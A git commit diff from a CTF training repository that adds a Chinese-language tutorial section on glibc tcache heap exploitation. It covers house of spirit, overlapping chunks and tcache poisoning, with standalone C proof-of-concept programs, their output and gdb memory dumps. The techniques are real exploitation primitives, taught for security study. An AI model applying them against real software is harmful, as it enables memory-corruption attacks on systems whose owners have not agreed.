mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
finish 4.14_glibc_tcache
This commit is contained in:
parent
2640c64ff8
commit
033944eb84
@ -284,13 +284,13 @@ tcache_get (size_t tc_idx)
|
|||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
void *p1 = malloc(0x10);
|
void *p1 = malloc(0x10);
|
||||||
printf("1st malloc(0x10): %p\n", p1);
|
fprintf(stderr, "1st malloc(0x10): %p\n", p1);
|
||||||
printf("Freeing the first one\n");
|
fprintf(stderr, "Freeing the first one\n");
|
||||||
free(p1);
|
free(p1);
|
||||||
printf("Freeing the first one again\n");
|
fprintf(stderr, "Freeing the first one again\n");
|
||||||
free(p1);
|
free(p1);
|
||||||
printf("2nd malloc(0x10): %p\n", malloc(0x10));
|
fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
|
||||||
printf("3rd malloc(0x10): %p\n", malloc(0x10));
|
fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
```
|
```
|
||||||
@ -346,10 +346,324 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10
|
|||||||
于是我们得到了两个指向同一块内存区域的指针。
|
于是我们得到了两个指向同一块内存区域的指针。
|
||||||
|
|
||||||
#### tcache_house_of_spirit
|
#### tcache_house_of_spirit
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
malloc(1); // init heap
|
||||||
|
|
||||||
|
fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
|
||||||
|
unsigned long long *a, *b;
|
||||||
|
unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
|
||||||
|
|
||||||
|
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
|
||||||
|
|
||||||
|
fake_chunk[1] = 0x110; // the size
|
||||||
|
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
|
||||||
|
|
||||||
|
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
|
||||||
|
a = &fake_chunk[2];
|
||||||
|
|
||||||
|
fprintf(stderr, "Freeing the overwritten pointer.\n");
|
||||||
|
free(a);
|
||||||
|
|
||||||
|
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
|
||||||
|
b = malloc(0x100);
|
||||||
|
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
|
||||||
|
fprintf(stderr, "malloc(0x100): %p\n", b);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ ./tcache_house_of_spirit
|
||||||
|
We will overwrite a pointer to point to a fake 'smallbin' region.
|
||||||
|
The chunk: 0x7fffffffdb00
|
||||||
|
Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00.
|
||||||
|
Freeing the overwritten pointer.
|
||||||
|
Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10!
|
||||||
|
malloc(0x100): 0x7fffffffdb10
|
||||||
|
```
|
||||||
|
tcache 在释放堆块时没有对其前后堆块进行合法性校验,只需要本块对齐(2*SIZE_SZ)就可以将堆块释放到 tcache 中,而在申请时,tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到 smallbin,而且比以前更加简单。
|
||||||
|
|
||||||
|
在栈上构造 fake chunk,大小为 smallbin:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx fake_chunk
|
||||||
|
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||||
|
0x7fffffffdae0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
|
||||||
|
```
|
||||||
|
free 掉之后,该 fake chunk 被放进 tcache bin:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx fake_chunk
|
||||||
|
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk [be freed]
|
||||||
|
0x7fffffffdae0: 0x0000000000000000 0x4141414141414141
|
||||||
|
0x7fffffffdaf0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
|
||||||
|
gdb-peda$ vmmap heap
|
||||||
|
Start End Perm Name
|
||||||
|
0x0000555555756000 0x0000555555777000 rw-p [heap]
|
||||||
|
gdb-peda$ x/30gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756080: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560c0: 0x0000000000000000 0x00007fffffffdae0 <-- entries
|
||||||
|
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
最后 malloc 即可将 fake chunk 取出来:
|
||||||
|
```
|
||||||
|
gdb-peda$ p b
|
||||||
|
$1 = (unsigned long long *) 0x7fffffffdae0
|
||||||
|
gdb-peda$ p a
|
||||||
|
$2 = (unsigned long long *) 0x7fffffffdae0
|
||||||
|
gdb-peda$ x/10gx fake_chunk
|
||||||
|
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- new chunk
|
||||||
|
0x7fffffffdae0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x7fffffffdaf0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x7fffffffdb00: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x7fffffffdb10: 0x4242424242424242 0x4242424242424242
|
||||||
|
```
|
||||||
|
于是我们就在得到了一个在栈上的 chunk。
|
||||||
|
|
||||||
#### tcache_overlapping_chunks
|
#### tcache_overlapping_chunks
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
intptr_t *p1, *p2, *p3;
|
||||||
|
|
||||||
|
p1 = malloc(0x50 - 8);
|
||||||
|
p2 = malloc(0x20 - 8);
|
||||||
|
memset(p1, 0x41, 0x50-8);
|
||||||
|
memset(p2, 0x41, 0x30-8);
|
||||||
|
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
|
||||||
|
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
|
||||||
|
|
||||||
|
int evil_chunk_size = 0x110;
|
||||||
|
int evil_region_size = 0x110 - 8;
|
||||||
|
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
|
||||||
|
*(p1-1) = evil_chunk_size;
|
||||||
|
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
|
||||||
|
free(p1);
|
||||||
|
|
||||||
|
p3 = malloc(evil_region_size);
|
||||||
|
memset(p3, 0x42, evil_region_size);
|
||||||
|
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
|
||||||
|
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
|
||||||
|
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ ./tcache_overlapping_chunks
|
||||||
|
Allocated victim chunk with requested size 0x48: 0x555555756260
|
||||||
|
Allocated sentry element after victim: 0x5555557562b0
|
||||||
|
Emulating corruption of the victim's size to 0x110
|
||||||
|
Freed victim chunk to put it in a different tcache bin
|
||||||
|
Requested a chunk of 0x100 bytes
|
||||||
|
p3: 0x555555756260 ~ 0x555555756368
|
||||||
|
p2: 0x5555557562b0 ~ 0x5555557562c8
|
||||||
|
```
|
||||||
|
在 `_int_free()` 时,libc 完全没有对 chunk 进行检查,所以我们可以直接修改其 size,在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk,造成堆块重叠。
|
||||||
|
|
||||||
|
首先我们分配两个 chunk:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/16gx 0x555555756260-0x10
|
||||||
|
0x555555756250: 0x0000000000000000 0x0000000000000051 <-- chunk p1
|
||||||
|
0x555555756260: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756270: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756280: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756290: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2
|
||||||
|
0x5555557562b0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x5555557562c0: 0x4141414141414141 0x0000000000000411
|
||||||
|
```
|
||||||
|
然后修改第一个的 size 并将其释放:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/16gx 0x555555756260-0x10
|
||||||
|
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p1 [be freed]
|
||||||
|
0x555555756260: 0x0000000000000000 0x4141414141414141
|
||||||
|
0x555555756270: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756280: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756290: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x5555557562a0: 0x4141414141414141 0x0000000000000021 <-- chunk p2
|
||||||
|
0x5555557562b0: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x5555557562c0: 0x4141414141414141 0x0000000000000411
|
||||||
|
gdb-peda$ vmmap heap
|
||||||
|
Start End Perm Name
|
||||||
|
0x0000555555756000 0x0000555555777000 rw-p [heap]
|
||||||
|
gdb-peda$ x/30gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0000000000000000 0x0100000000000000 <-- counts
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756070: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756080: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756090: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560a0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560b0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560c0: 0x0000000000000000 0x0000555555756260 <-- entries
|
||||||
|
0x5555557560d0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560e0: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x5555557560f0: 0x0000000000000000 0x0000000000000000
|
||||||
|
```
|
||||||
|
可以看到 chunk p1 并没有放到它应该去的 tcache bin 中,而是放到了修改 size 后对应的 tcache bin。
|
||||||
|
|
||||||
|
最后将其 malloc 出来:
|
||||||
|
```
|
||||||
|
gdb-peda$ p p3
|
||||||
|
$1 = (intptr_t *) 0x555555756260
|
||||||
|
gdb-peda$ p p2
|
||||||
|
$2 = (intptr_t *) 0x5555557562b0
|
||||||
|
gdb-peda$ p p1
|
||||||
|
$3 = (intptr_t *) 0x555555756260
|
||||||
|
gdb-peda$ x/36gx 0x555555756260-0x10
|
||||||
|
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p3
|
||||||
|
0x555555756260: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756270: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756280: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756290: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x5555557562a0: 0x4242424242424242 0x4242424242424242 <-- chunk p2
|
||||||
|
0x5555557562b0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x5555557562c0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x5555557562d0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x5555557562e0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x5555557562f0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756300: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756310: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756320: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756330: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756340: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756350: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756360: 0x4242424242424242 0x0000000000000000
|
||||||
|
```
|
||||||
|
于是 chunk p2 被 chunk p3 覆盖了。
|
||||||
|
|
||||||
#### tcache_poisoning
|
#### tcache_poisoning
|
||||||
|
```c
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
intptr_t *p1, *p2, *p3;
|
||||||
|
size_t target[10];
|
||||||
|
printf("Our target is a stack region at %p\n", (void *)target);
|
||||||
|
|
||||||
|
p1 = malloc(0x30);
|
||||||
|
memset(p1, 0x41, 0x30+8);
|
||||||
|
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
|
||||||
|
|
||||||
|
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
|
||||||
|
free(p1);
|
||||||
|
fprintf(stderr, "Emulating corruption of the next ptr\n");
|
||||||
|
*p1 = (int64_t)target;
|
||||||
|
|
||||||
|
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
|
||||||
|
p2 = malloc(0x30);
|
||||||
|
memset(p2, 0x42, 0x30+8);
|
||||||
|
p3 = malloc(0x30);
|
||||||
|
memset(p3, 0x42, 0x30+8);
|
||||||
|
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
```
|
||||||
|
$ ./tcache_poisoning
|
||||||
|
Our target is a stack region at 0x7fffffffdcc0
|
||||||
|
Allocated victim chunk with requested size 0x30 at 0x555555756670
|
||||||
|
Freed victim chunk to put it in a tcache bin
|
||||||
|
Emulating corruption of the next ptr
|
||||||
|
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
|
||||||
|
The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0
|
||||||
|
```
|
||||||
|
该实例通过破坏 tcache bin 中 chunk 的 fd 指针,将其指向不同的位置,从而改变 `tcache_entry` 的 `next` 指针,在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。
|
||||||
|
|
||||||
|
分配一个 chunk p1 后释放,该 chunk 将被放入相应的 tcache bin,其 fd 指针被清空:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx (void *)p1-0x10
|
||||||
|
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
|
||||||
|
0x555555756670: 0x0000000000000000 0x4141414141414141 <-- fd pointer
|
||||||
|
0x555555756680: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756690: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x5555557566a0: 0x4141414141414141 0x0000000000020961
|
||||||
|
gdb-peda$ vmmap heap
|
||||||
|
Start End Perm Name
|
||||||
|
0x0000555555756000 0x0000555555777000 rw-p [heap]
|
||||||
|
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0000000000010000 0x0000000000000000 <-- counts
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x0000555555756670 0x0000000000000000 <-- entries
|
||||||
|
```
|
||||||
|
然后修改 fd 指针指向栈上的地址 target:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx (void *)p1-0x10
|
||||||
|
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
|
||||||
|
0x555555756670: 0x00007fffffffdc80 0x4141414141414141 <-- fd pointer
|
||||||
|
0x555555756680: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x555555756690: 0x4141414141414141 0x4141414141414141
|
||||||
|
0x5555557566a0: 0x4141414141414141 0x0000000000020961
|
||||||
|
```
|
||||||
|
接下来的第一次 malloc 将 chunk p1 的地方取出:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx (void *)p1-0x10
|
||||||
|
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p2
|
||||||
|
0x555555756670: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756680: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x555555756690: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x5555557566a0: 0x4242424242424242 0x0000000000020961
|
||||||
|
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x00007fffffffdc80 0x0000000000000000 <-- entries
|
||||||
|
```
|
||||||
|
可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。
|
||||||
|
|
||||||
|
第二次 malloc,虽然 tcache bin 的 counts 为 0,但它并没有做检查,直接在 entries 指向的地方返回了一个 chunk:
|
||||||
|
```
|
||||||
|
gdb-peda$ x/10gx (void *)p3-0x10
|
||||||
|
0x7fffffffdc70: 0x0000555555756670 0x00007fffffffdc80 <-- chunk p3
|
||||||
|
0x7fffffffdc80: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x7fffffffdc90: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
|
||||||
|
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
|
||||||
|
```
|
||||||
|
于是我们得到了一个在栈上的 chunk。exe
|
||||||
|
|
||||||
|
有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`):
|
||||||
|
```
|
||||||
|
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||||
|
0x555555756010: 0x0000000000ff0000 0x0000000000000000
|
||||||
|
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756030: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||||
|
0x555555756060: 0x00000000000000c2 0x0000000000000000
|
||||||
|
```
|
||||||
|
看来这个机制仍然存在很多的问题啊。
|
||||||
|
|
||||||
这一节的代码可以在[这里](../src/Others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
|
这一节的代码可以在[这里](../src/Others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
|
||||||
|
|
||||||
|
6
src/Others/4.14_glibc_tcache/Makefile
Normal file
6
src/Others/4.14_glibc_tcache/Makefile
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
PROGRAMS = tcache_poisoning tcache_overlapping_chunks tcache_house_of_spirit tcache_dup
|
||||||
|
CFLAGS += -Wpedantic -std=gnu11 -g
|
||||||
|
|
||||||
|
all: $(PROGRAMS)
|
||||||
|
clean:
|
||||||
|
rm -f $(PROGRAMS)
|
@ -3,11 +3,11 @@
|
|||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
void *p1 = malloc(0x10);
|
void *p1 = malloc(0x10);
|
||||||
printf("1st malloc(0x10): %p\n", p1);
|
fprintf(stderr, "1st malloc(0x10): %p\n", p1);
|
||||||
printf("Freeing the first one\n");
|
fprintf(stderr, "Freeing the first one\n");
|
||||||
free(p1);
|
free(p1);
|
||||||
printf("Freeing the first one again\n");
|
fprintf(stderr, "Freeing the first one again\n");
|
||||||
free(p1);
|
free(p1);
|
||||||
printf("2nd malloc(0x10): %p\n", malloc(0x10));
|
fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
|
||||||
printf("3rd malloc(0x10): %p\n", malloc(0x10));
|
fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
|
||||||
}
|
}
|
||||||
|
27
src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c
Normal file
27
src/Others/4.14_glibc_tcache/tcache_house_of_spirit.c
Normal file
@ -0,0 +1,27 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
malloc(1); // init heap
|
||||||
|
|
||||||
|
fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
|
||||||
|
unsigned long long *a, *b;
|
||||||
|
unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
|
||||||
|
|
||||||
|
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]);
|
||||||
|
|
||||||
|
fake_chunk[1] = 0x110; // the size
|
||||||
|
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
|
||||||
|
|
||||||
|
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
|
||||||
|
a = &fake_chunk[2];
|
||||||
|
|
||||||
|
fprintf(stderr, "Freeing the overwritten pointer.\n");
|
||||||
|
free(a);
|
||||||
|
|
||||||
|
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
|
||||||
|
b = malloc(0x100);
|
||||||
|
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
|
||||||
|
fprintf(stderr, "malloc(0x100): %p\n", b);
|
||||||
|
}
|
28
src/Others/4.14_glibc_tcache/tcache_overlapping_chunks.c
Normal file
28
src/Others/4.14_glibc_tcache/tcache_overlapping_chunks.c
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
intptr_t *p1, *p2, *p3;
|
||||||
|
|
||||||
|
p1 = malloc(0x50 - 8);
|
||||||
|
p2 = malloc(0x20 - 8);
|
||||||
|
memset(p1, 0x41, 0x50-8);
|
||||||
|
memset(p2, 0x41, 0x30-8);
|
||||||
|
fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
|
||||||
|
fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
|
||||||
|
|
||||||
|
int evil_chunk_size = 0x110;
|
||||||
|
int evil_region_size = 0x110 - 8;
|
||||||
|
fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
|
||||||
|
*(p1-1) = evil_chunk_size;
|
||||||
|
fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
|
||||||
|
free(p1);
|
||||||
|
|
||||||
|
p3 = malloc(evil_region_size);
|
||||||
|
memset(p3, 0x42, evil_region_size);
|
||||||
|
fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
|
||||||
|
fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
|
||||||
|
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
|
||||||
|
}
|
26
src/Others/4.14_glibc_tcache/tcache_poisoning.c
Normal file
26
src/Others/4.14_glibc_tcache/tcache_poisoning.c
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
intptr_t *p1, *p2, *p3;
|
||||||
|
size_t target[10];
|
||||||
|
printf("Our target is a stack region at %p\n", (void *)target);
|
||||||
|
|
||||||
|
p1 = malloc(0x30);
|
||||||
|
memset(p1, 0x41, 0x30+8);
|
||||||
|
fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
|
||||||
|
|
||||||
|
fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
|
||||||
|
free(p1);
|
||||||
|
fprintf(stderr, "Emulating corruption of the next ptr\n");
|
||||||
|
*p1 = (int64_t)target;
|
||||||
|
|
||||||
|
fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
|
||||||
|
p2 = malloc(0x30);
|
||||||
|
memset(p2, 0x42, 0x30+8);
|
||||||
|
p3 = malloc(0x30);
|
||||||
|
memset(p3, 0x42, 0x30+8);
|
||||||
|
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user